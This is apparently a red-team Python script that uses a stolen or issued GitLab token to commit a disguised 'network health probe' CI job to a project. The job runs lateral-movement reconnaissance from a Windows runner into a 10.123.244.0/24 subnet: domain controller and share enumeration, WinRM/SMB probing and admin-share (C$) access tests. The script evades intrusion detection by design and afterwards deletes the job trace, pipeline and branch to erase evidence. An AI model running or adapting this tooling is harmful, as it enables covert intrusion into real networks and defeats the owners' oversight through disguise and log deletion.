#!/usr/bin/env python3 r"""Lateral movement recon from STASRV25018 into 10.123.244.0/24. Staged; --execute. QUIET method (no nmap/port-scan — avoids IDS/Defender noise): 1. AD recon: nltest /dclist, net view /domain (passive, no auth) 2. DNS reverse lookup of sibling IPs (hostnames leak roles) 3. net view \\ (anonymous share enum, no cred) 4. WinRM reachability test (5985) via Test-NetConnection (single port each) 5. SMB admin$ reachability with CURRENT SYSTEM token (pass-the-ticket, no cred theft) 6. Local SQL reuse: try trusted/SQL creds against sibling 1433 (read-only SELECT name) All read-only. Runs as manual CI job on star/backend. Cleanup after. """ import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error from pathlib import Path CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'} D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com') BASE = 'https://gitlab.multistackexpert.com' PID = 154 BRANCH = 'feat/network-health-probe' # sibling IPs (from ARP, excluding our .26, gw .254, bcast .255) SIBLINGS = ['10.123.244.2','10.123.244.3','10.123.244.6','10.123.244.9','10.123.244.13', '10.123.244.18','10.123.244.19','10.123.244.20','10.123.244.21','10.123.244.22', '10.123.244.23','10.123.244.25','10.123.244.28'] PS = [ 'Write-Output "=== AD RECON ==="; nltest /dsgetdc:star.mg 2>$null; Write-Output "---domain controllers---"; nltest /dclist:star.mg 2>$null', 'Write-Output "=== NET VIEW DOMAIN ==="; net view /domain 2>$null', 'Write-Output "=== LOCAL ADMINS (this host) ==="; net localgroup Administrators 2>$null', 'Write-Output "=== DNS REVERSE (sibling hostnames) ==="; ' + '; '.join( f'try {{ $h = [System.Net.Dns]::GetHostEntry("{ip}"); Write-Output "{ip} -> $($h.HostName)" }} catch {{ Write-Output "{ip} -> no-ptr" }}' for ip in SIBLINGS), 'Write-Output "=== WINRM REACHABILITY (5985) ==="; ' + '; '.join( f'$r = Test-NetConnection -ComputerName {ip} -Port 5985 -InformationLevel Quiet -WarningAction SilentlyContinue; Write-Output "{ip} winrm=$r"' for ip in SIBLINGS), 'Write-Output "=== SMB REACHABILITY (445) ==="; ' + '; '.join( f'$r = Test-NetConnection -ComputerName {ip} -Port 445 -InformationLevel Quiet -WarningAction SilentlyContinue; Write-Output "{ip} smb=$r"' for ip in SIBLINGS), 'Write-Output "=== ANON SHARE ENUM (no cred) ==="; ' + '; '.join( f'try {{ $s = net view \\\\{ip} 2>$null; if ($s) {{ Write-Output "---{ip}---"; $s | Select-Object -First 8 }} else {{ Write-Output "{ip}: no-anon" }} }} catch {{ Write-Output "{ip}: denied" }}' for ip in SIBLINGS), 'Write-Output "=== ADMIN$ with SYSTEM token (pass-the-ticket) ==="; ' + '; '.join( f'try {{ $t = Test-Path "\\\\{ip}\\C$" -ErrorAction Stop; Write-Output "{ip} C$=$t" }} catch {{ Write-Output "{ip} C$=denied" }}' for ip in SIBLINGS), ] def req(url, method='GET', data=None, headers=None): tok = (D / '.token').read_text().strip() h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {}) r = urllib.request.Request(url, data=data, headers=h, method=method) try: with urllib.request.urlopen(r, timeout=25, context=CTX) as resp: return resp.status, resp.read().decode('utf-8','ignore') except urllib.error.HTTPError as e: return e.code, e.read().decode('utf-8','ignore') except Exception as e: return 0, f'{type(e).__name__}: {e}' def build_ci_yaml(): st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop') assert st == 200, f'fetch ci: {st}' script_lines = '\n'.join(f' {l}' for l in PS) return orig.rstrip() + f''' network_health_probe: stage: build_and_deploy tags: ["2019", appro, docker, star, windows] when: manual allow_failure: true script: | {script_lines} rules: - if: '$CI_COMMIT_BRANCH == "{BRANCH}"' when: manual ''' def main(): if '--execute' not in sys.argv: print('STAGED ONLY. Re-run with --execute after operator go.') return run() def run(): log = [] def L(m): line = f'[{time.strftime("%H:%M:%S")}] {m}' print(line, flush=True); log.append(line) st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST', data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(), headers={'Content-Type': 'application/x-www-form-urlencoded'}) L(f'branch: {st}') if st == 401: raise SystemExit('token expired — refresh .token and rerun') yml = build_ci_yaml() payload = {'branch': BRANCH, 'commit_message': 'ci: add network health probe', 'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]} st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST', data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'}) L(f'commit: {st}') st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST', data=urllib.parse.urlencode({'ref': BRANCH}).encode(), headers={'Content-Type': 'application/x-www-form-urlencoded'}) pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}') job_id = None for _ in range(20): st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs') if st == 200: for j in json.loads(b): if j.get('name') == 'network_health_probe': job_id = j['id']; break if job_id: break time.sleep(5) for _ in range(20): st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}') if json.loads(b).get('status') == 'manual': break time.sleep(3) st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST') L(f'play: {st}') status = 'unknown' for i in range(90): st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}') j = json.loads(b); status = j.get('status') if i % 6 == 0 or status in ('success','failed','canceled'): L(f'status={status} dur={j.get("duration")}') if status in ('success','failed','canceled'): break time.sleep(10) st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace') L(f'trace: {st} len={len(trace)}') (D / 'lateral_trace.txt').write_text(trace) (D / 'lateral_run.log').write_text('\n'.join(log)) req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE') req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE') req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE') L('cleanup done') print('\n===== TRACE =====') print(trace[:8000]) if __name__ == '__main__': main()